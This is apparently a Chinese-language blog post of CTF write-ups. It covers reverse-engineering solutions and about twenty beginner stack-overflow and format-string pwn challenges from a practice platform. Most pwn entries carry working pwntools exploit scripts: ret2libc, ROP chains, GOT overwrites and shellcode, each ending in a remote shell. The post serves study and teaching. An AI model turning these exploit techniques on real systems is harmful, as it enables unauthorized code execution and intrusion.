最近在入门pwn, re每天只做一道, 现在做的都是只有5解以下的题了...但是题目质量反倒有所下降, 可能是大家学到这儿就不头铁刷题了吧..
有两道100分的题卡了我一周了, 虚拟机分析好了但是死活跑不对..但是也不想放弃, 每天看两下吧.
只能说现在遇到的题的wp都完全不足以让人看懂啊, 核心细节都不说, 只概略的说一下过程....适合验证真实性不适合学习
废话就到这儿
文末附了入门pwn栈溢出20题, 因为太简单就不开帖子了, 但是我觉得这种一连串的题解还是会方便入门的同学的
simplestuff
最近抓到了一段简单恶意代码和其发出的流量,你能破解他吗?
流量包全是TCP流量, 看不出来什么, 从二进制开始分析
字符串里的crontab和flag引起了我的注意, 跟一跟
在引用了flag的函数里发现了这个东西, 把TCP包有用的部分截下来XOR一下
得到这个, 不过后半部分是乱码, 看看后半部分. 这个文件里有多处InterlockedCompareExchange, 让我怀疑是不是还有其他线程, 尝试动调一下吧
惊讶的发现源文件没了, 只留下了一个0字节的文件, 但是crontab里没有新增项...疑惑啊..再来一次
注意main要进到这个函数
需要是五秒整倍左右, 可以动调改数, 直接进行一个0的改
这一串函数会设定一些值, 先忽略
sample是我自己写的, 这说明这一段确实是读的flag
说明中间还是改动了, 但是我没跟到
但是从PseudoCode上看异或结束直接去Label8了, 中间不应该有变动. 无妨, 我们再来一次
我自己的sample正常异或结果应该是这个
3e 06 16 11 0b 01 65 46 18 0e 47 1f 16 09 19 03 13 00 10 3a 0f 2c 16 41 19 1f 4c 01 3d 07 1c 11 2b 14
我们看看哪里开始不一样了
哦原来dbapp后面还应该有个\0.....
[FlareOn3]unknown
32位WinPE
一个参数, 要过401020的检测
这里v20 Xor 定值需要是 v6, v6是过2760的参数
感觉有点像37进制读入 改名atoi_b37, 注意到这个程序基本都是双字节char, 那些WORD来WORD去的都写成uint16就行 (后来脑瓜一闪反应过来这不是哈希么..)
要求0x1B个v13里的内容等于v11, v11在这
长104个Byte应该是
注意cmptable经过了一个thiscall函数改过, 有个长256的表, 这个换表操作让我感觉是现成的加密算法, 是不是有点像..RC4?同时这个表也输入相关, 但是好像只和输入长度有关
v16-v4大概就是一个输入长度相关量, 另外这里也和v20有点关系, 结合循环变量0x1B, 我觉得基本能推测输入长度是27, 每次取出1位放到v23[0], v23其他的值都是固定/可测的, 这个东西被atoi_b37之后要和cmptable相同. 我们试一下len=27的cmptable
unsigned char cmptable[] =
{
0xE9, 0x67, 0xFD, 0xB2,
....
0xF5, 0xEA, 0x6D, 0xE1
};
而v23则是
input[j], 0x60+j, 0x46, 0x4C, 0x41, 0x52, 0x45, 0x20, 0x4F, 0x6E, 0x21
后面量是上面能找得到的, 就是FLARE On!
这样四位一比长度应该是26的, 直接爆破一下
unsigned char cmptable[] =
{
0x1F, 0xD0, 0x24, 0x4C, 0xEA, 0x1D, 0xDA, 0xAE, 0x57, 0x05,
0x2B, 0x4E, 0xAE, 0x68, 0xC7, 0x4D, 0xF0, 0x6A, 0x42, 0x79,
0x2B, 0x80, 0xC4, 0x39, 0xD9, 0x8C, 0xE2, 0xCD, 0x32, 0x5E,
0x77, 0x23, 0x54, 0xC4, 0x31, 0x36, 0x2E, 0x8D, 0x50, 0xDA,
0x48, 0x79, 0x43, 0xE9, 0xA6, 0x11, 0xE2, 0x56, 0xB0, 0x6A,
0x05, 0xE6, 0xF4, 0x8F, 0x1C, 0xC2, 0x29, 0x8B, 0x95, 0x32,
0xF9, 0x88, 0x66, 0x80, 0x72, 0x2F, 0xF3, 0xCE, 0x56, 0x24,
0xBC, 0xE4, 0x72, 0x6B, 0xFB, 0x52, 0xBF, 0x20, 0x06, 0xCC,
0x8A, 0xEB, 0x00, 0xA9, 0xC6, 0x90, 0x39, 0xAC, 0x4D, 0x50,
0xAC, 0xD2, 0x8B, 0x5C, 0xF9, 0xFA, 0x66, 0x38, 0xAD, 0x12,
0x47, 0x6B, 0xA8, 0x31
};
#include <cstdio>
#include <cstdint>
int sum(char s[15]) {
int res = 0;
for(int i = 0; i < 11; i ++ ) {
res = s[i] + 37*res;
}
return res;
}
int main() {
int *p = (int *)cmptable;
char s[15] = "a`FLARE On!";
// (0x60+i) * 37 ^ 9 + ch * 37 ^ 10;
for(int i = 0; i < 26; i ++ ) {
for(int j = 0; j < 0xFF; j ++ ) {
s[0] = j;
int tmp = sum(s);
if(tmp == p[i]) {
printf("0x%x, ", tmp);
break;
}
}
s[1] ++;
}
}
爆破无果, 那只能是cmptable还有问题, 我们回头看发现这个table竟然和文件名本身有关?? 这个很不美啊.. 我们要尝试找到真正的文件名, 看起来unknown并不是
MS编译器往往会有这么一个东西
重新提重新爆
[HackIM2020]year3000
一共3000个bin
前43个都要是't', 后面4位和unk_2008相同
这是bin1的
bin2就变成了64位??离谱, 这个是前83位是'N', 后面8位和固定值相同
3又回到了32位, 84位的'c', 和4位的固定值, 此外固定值不同.
这样我觉得基本可以认为有两种文件, 32位的要比4位, 64位的要比8位, 前面的验证.
import subprocess
from pwn import *
def parse32(elf) :
cnt = elf[0x661]
ch = elf[0x668]
nonce = elf[0x1008:0x100C]
# print(cnt, ch, nonce)
return (chr(ch) * cnt).encode(encoding='utf-8') + nonce
def parse64(elf) :
cnt = elf[0x819]
ch = elf[0x820]
nonce = elf[0x1010:0x1018]
# print(cnt, ch, nonce)
return (chr(ch) * cnt).encode(encoding='utf-8') + nonce
for i in range(1, 3001) :
file_name = "./" + str(i) + ".bin"
with open(file_name, "rb") as f:
content = f.read()
if content[4] == 1 :
payload = parse32(content)
elif content[4] == 2 :
payload = parse64(content)
p = process(file_name)
p.sendline(payload)
s = p.recvline()
if s != b'Well done\n' :
print('Error', i)
p.close()
脚本倒是写完了, 也全well done了..可是..Flag呢? 长度为3000的flag也不太现实, 难道是把这些二进制串加一起有个新的ELF?, 不妨试试
显然, 这东西和ELF没什么关系, 换个思路, 我们把前面的可见字符加一起看看
看着就像个Base64
然而解了Base64也没什么用, 而且这Base64里竟然一个数字都没有..不是很靠谱啊
就这么来到了谜语时间么...
苦解谜语10分钟无果, 果断找wp
尼玛, 靶机题, 本地打通, 此题做完
以下是pwn部分
边学边做, 大部分参考了别人的WP, 不明白的地方会尽力弄明白写在这里
[第五空间2019 决赛]PWN5
passwd要和urandom里面一样, 读入有限制, 没有漏洞点, printf处有一个明显的格式化字符串漏洞, 尝试用该漏洞泄露目标内容
没有PIE, 我们尝试用格式化字符串的%n来覆盖目标bss段
printf("str%n", &addr);
会把str的长度写在addr上 , 这时候栈上第一个参数应该是addr, 第二个参数则是字符串str%n,
输入AAAA%x%x...\n后可以发现AAAA在main栈的第十个, 我们把AAAA变成要用的地址, printf拿进去的还是这个第十个, 那如果参数是%10$n的话就会自动调整到第十个参数, 然后把前面输入过的4个byte的len写进去. 之前看到这儿的时候疑惑了无数次并决定放弃pwn)))这是真的))).
payload:p32(0x804c044)+b"%10$n"
>>> payload = p32(0x804c044)+b"%10$n"
>>> p.sendline(payload)
>>> p.sendline('4')
>>> p.interactive()
此外看wp还有一种写atoi的got进而控制流程的方法, 学习了, 过程比较清晰就不另做记录了
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00')
ciscn_2019_n_8
errr..这不比刚才的,简单多了? 第14个Qword是17即可.
但是我信心满满的把payloadpoc = p64(17) * 20
打进去之后
??? 你要的难道不是17么?
咱毕竟是个学逆向的啊, 敏锐的我意识到了这个QWORD有诈啊, 咋都是e打头的, 晕, 32位的是吧, 改一下就好了
poc = b'A' * 4 * 13 + p32(17)
jarvisoj_level2
NX, 没有Canary, 直接栈溢出
有system, 给它压个/bin/sh即可, 题里都给好了
payload里分别是0x88的占位, 0x4的bp覆盖, 0x4的sys地址, 0x4的返回地址, 0x4的binsh参数
[OGeek2019]babyrop
看上去传进来的是char, 但是read实际上进去的应该是个size_t, 能把这个位置构造成255, 我们就有了20个字节左右的空间利用, 先看看这地方怎么构造成255
必须和一个urandom相等, 不然直接exit(0)了, 需要注意的是这程序还有个60s的超时.
这个strncmp本身可以用\x00绕, 因为前面v1会是0.
bypass这里之后, 就可以构造payload了, 首先泄露libc基址, 这里选择泄露read的got
from pwn import *
# r = process("./4")
r = remote('node4.buuoj.cn', 28104)
elf = ELF('./4')
libc = ELF('./libc-2.23.so')
write_plt = elf.plt['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
main_addr = 0x8048825
bypass1 = b'\x00' * 7 + b'\xff'
r.sendline(bypass1)
r.recvuntil('Correct\n')
payload = b'A' * 0xEB
payload += p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(8)
r.sendline(payload)
read_addr = u32(r.recv(4))
log.success('read_addr : ' + hex(read_addr))
base_addr = read_addr - libc.symbols['read']
sys_addr = libc.symbols['system'] + base_addr
bin_sh_addr = next(libc.search(b'/bin/sh')) + base_addr
r.sendline(bypass1)
r.recvuntil('Correct\n')
payload = payload = b'A' * 0xEB
payload += p32(sys_addr) + p32(0) + p32(bin_sh_addr)
r.sendline(payload)
r.interactive()
bjdctf_2020_babystack
自定义长度, 直接溢出
给了system直接
payload = 0x18 * b'A' + p64(tar)
get_started_3dsctf_2016
打了一会死活打不通..
payload = 0x3B * b'A' + p32(tar) + p32(0) + p32(814536271) + p32(425138641)
直接翻题解
这里有问题, 正常的程序都是先push ebp, 然后move ebp, esp, 不push的话我们就不用盖ebp了, 要少盖四个字节, 大意了, 动调一下也可以的.
然后是第二个坑, 这题好多网上的wp都说要改mprotect...其实没看出来, 只不过没有设置缓冲区, 如果异常退出的话, 缓冲区的东西不会正常输出出来, 所以我们要让它正常退出
直接把执行完getflag的返回地址扔到exit即可
学长告诉我这题很多利用点, 让我研究一下, 在拿了flag之后还可以打一打
ciscn_2019_en_2
菜单题, 有encrypt和decrypt功能, 只有encrypt能进
有gets, 无canary, 啥也没有, getshell题
from pwn import *
from LibcSearcher import *
# context.log_level = "debug"
# r = process("./7")
r = remote('node4.buuoj.cn', 28140)
elf = ELF("./7")
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
puts_got = elf.got['puts']
pop_rdi = 0x400c83
ret = 0x4006b9
r.recvuntil('ce!\n')
r.sendline('1')
r.recvuntil('ted\n')
payload = b'\x00' * 0x58 + \
p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))
log.info("puts_addr : " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
r.recvuntil('ce!\n')
r.sendline('1')
r.recvuntil('ted\n')
payload = b'\x00' * 0x58 + \
p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)
r.interactive()
非常普通的64位ret2libc,先泄露libc基址再打到system, 唯一值得关注的是输入会被异或, 要么用\x00截断, 要么就要先把payload异或了
[HarekazeCTF2019]baby_rop
没有canary, 有system
那就不动脑子了吧, 没设置缓冲区, 就不recv了
from pwn import *
# context.log_level = "debug"
# r = process("./8")
r = remote('node4.buuoj.cn', 28819)
pop_rdi = 0x400683
bin_sh = 0x601048
sys_addr = 0x400490
# r.recvuntil("name? \"")
payload = b'A' * 0x18 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)
r.interactive()
jarvisoj_level2_x64
有system有binsh
payload = b'A' * 0x88 + \
p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
not_the_same_3dsctf_2016
那就不getshell了, 让它读进来然后再把地址推给puts就好, 注意这题也没有动ebp
payload = b'A' * 0x2D + \
p32(secret_addr) + p32(write_plt) + p32(exit_addr) + p32(1) + p32(f14g_addr) + p32(0x50)
ciscn_2019_n_5
bss可控制, 栈溢出明显, ret2libc
这可真是..啥也没有啊, 直接写shellcode都能跑吧, 练习一下布置shellcode
from pwn import *
# from LibcSearcher import *
# context.terminal = '/bin/bash'
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
# context.log_level = "debug"
# elf = ELF('')
r = remote('node4.buuoj.cn', 27600)
# r = process("./elf1")
name_addr = 0x601080
r.recvuntil('name\n')
r.sendline(asm(shellcraft.sh()))
r.recvuntil('me?\n')
payload = b'A' * 0x28 + p64(name_addr)
r.sendline(payload)
r.interactive()
others_shellcode
?什么玩意, nc获得shell...
ciscn_2019_ne_5
菜单题, 两个scanf都做了限定,
这里, src最长128, 但是dst只有64, 足够长了, 泄露libc回main, 再ret2libc
泄露puts地址的时候发现恰好payload里有0x20, 但是scanf读不进来, 换函数试试, 发现有system, 我们尝试直接找个data段写
救命...scanf里也有\x00..
最后被指点:这里面有个"sh"字符串, 和binsh一样用.. 但是strings和IDA都不识别这么短的字符串..
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
elf = ELF('./elf3')
sys_addr = elf.sym['system']
r = remote('node4.buuoj.cn', 29750)
# r = process("./elf3")
sh_addr = 0x080482ea
def sendLog(payload) :
r.recvuntil('password:')
r.sendline("administrator")
r.recvuntil("0.Exit\n:")
r.sendline('1')
r.sendlineafter('info:', payload)
def transLog() :
r.recvuntil("0.Exit\n:")
r.sendline('4')
sendLog(b'A' * 0x4C + p32(sys_addr) + p32(0) + p32(sh_addr))
transLog()
r.interactive()
铁人三项(第五赛区)_2018_rop
No Canary, 栈溢出, ret2libc, 32位
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
elf = ELF('./elf5')
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
r = remote('node4.buuoj.cn',25135)
# r = process("./elf5")
payload = b'A' * 0x8C + p32(write_plt) + p32(main_addr) + \
p32(1) + p32(write_got) + p32(8)
r.sendline(payload)
write_addr = u32(r.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'A' * 0x8C + p32(sys_addr) + p32(0) + p32(binsh_addr)
r.sendline(payload)
r.interactive()
bjdctf_2020_babyrop
64位rop
这..实在是没啥可说的
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
# r = process("./elf6")
r = remote('node4.buuoj.cn', 29721)
elf = ELF("./elf6")
puts_plt = elf.plt['puts']
main_addr = elf.symbols['vuln']
puts_got = elf.got['puts']
pop_rdi = 0x400733
ret = 0x4004c9
r.recvuntil('story!\n')
payload = b'A' * 0x28 + \
p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))
log.info("puts_addr : " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'A' * 0x28 + \
p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)
r.interactive()
这过于明显, 我们直接传进去一个负数就行了
有现成的后门, 直接ROP
from pwn import *
# from LibcSearcher import *
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
# elf = ELF('')
r = remote('node4.buuoj.cn', 29042)
sys_addr = 0x400726
# r = process("./elf7")
r.recvuntil('name:\n')
r.sendline('-1')
r.recvline()
payload = b'A' * 0x18 + p64(sys_addr)
r.sendline(payload)
r.interactive()
jarvisoj_fm
有Canary, 需要把一个bss段的值从3改成4, 格式串漏洞. 两步, 一步获取输入字符串在栈上位置, 一步%n改数
第11个参数, x=4的话正好前面写地址后面写%11$n
from pwn import *
# from LibcSearcher import *
context(arch = 'amd64', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
# elf = ELF('')
r = remote('node4.buuoj.cn', 28983)
# r = process("./elf8")
x_addr = 0x804A02C
payload = p32(x_addr) + b'%11$n'
r.sendline(payload)
r.interactive()
pwn2_sctf_2016
老样子, 自己写的这个get第二个参数是unsigned的, 我们直接扔个负数进去就可以了
给了一个int 0x80, 但是不如直接ret2libc一把梭, 只能利用printf
from pwn import *
from LibcSearcher import *
context(arch = 'i386', os = 'linux', terminal = '/bin/bash', log_level = 'debug')
def debug(p):
gdb.attach(p)
pause()
elf = ELF('./elf9')
r = remote('node4.buuoj.cn', 27333)
main_addr = elf.sym['vuln']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
fmt_addr = 0x80486F8
# r = process("./elf9")
r.recvuntil('read? ')
r.sendline('-1')
payload = b'A' * 0x30 + \
p32(printf_plt) + p32(main_addr) + p32(fmt_addr) + p32(printf_got)
r.sendline(payload)
# r.recvuntil('data!\n')
r.recvuntil('You said: ')
r.recvuntil('You said: ')
printf_addr = u32(r.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
r.sendline('-1')
# log.info(sys_addr)
# log.info(binsh_addr)
payload = b'A' * 0x30 + \
p32(sys_addr) + p32(main_addr) + p32(binsh_addr)
r.sendline(payload)
r.interactive()
本地打通了, 注意最后不能异常退出(exit(-1)也是程序正常退出), 不然会在buf里打不出来
远程不知道为什么就是打不通, 破案了, libcsercher找不到, 用buu给的libc就好了